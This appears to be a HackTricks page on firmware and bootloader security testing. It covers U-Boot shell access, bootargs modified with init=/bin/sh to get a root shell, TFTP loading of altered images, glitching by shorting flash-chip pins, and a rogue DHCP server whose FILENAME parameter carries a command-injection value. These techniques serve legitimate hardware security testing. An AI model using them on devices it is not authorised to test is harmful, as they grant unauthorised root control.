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Copied from [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
When modifying device start up and bootloaders such as U-boot, attempt the following:
* Attempt to access the bootloaders interpreter shell by pressing "0", space or other identified “magic codes” during boot.
* Modify configurations to execute a shell command such as adding '`init=/bin/sh`' at the end of boot arguments
* `#printenv`
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh`
* `#saveenv`
* `#boot`
* Setup a tftp server to load images over the network locally from your workstation. Ensure the device has network access.
* `#setenv ipaddr 192.168.2.2 #local IP of the device`
* `#setenv serverip 192.168.2.1 #tftp server IP`
* `#saveenv`
* `#reset`
* `#ping 192.168.2.1 #check if network access is available`
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server`
* Use `ubootwrite.py` to write the uboot-image and push a modified firmware to gain root
* Check for enabled debug features such as:
* verbose logging
* loading arbitrary kernels
* booting from untrusted sources
* \*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to a data pin (DO) on an SPI flash chip
* \*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to pins 8 and 9 of the NAND flash chip at the moment U-boot decompresses the UBI image
* \*Review the NAND flash chip’s datasheet prior to shorting pins
* Configure a rogue DHCP server with malicious parameters as input for a device to ingest during a PXE boot
* Use Metasploit’s (MSF) DHCP auxiliary server and modify the ‘`FILENAME`’ parameter with command injection commands such as `‘a";/bin/sh;#’` to test input validation for device startup procedures.
\*Hardware security testing
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.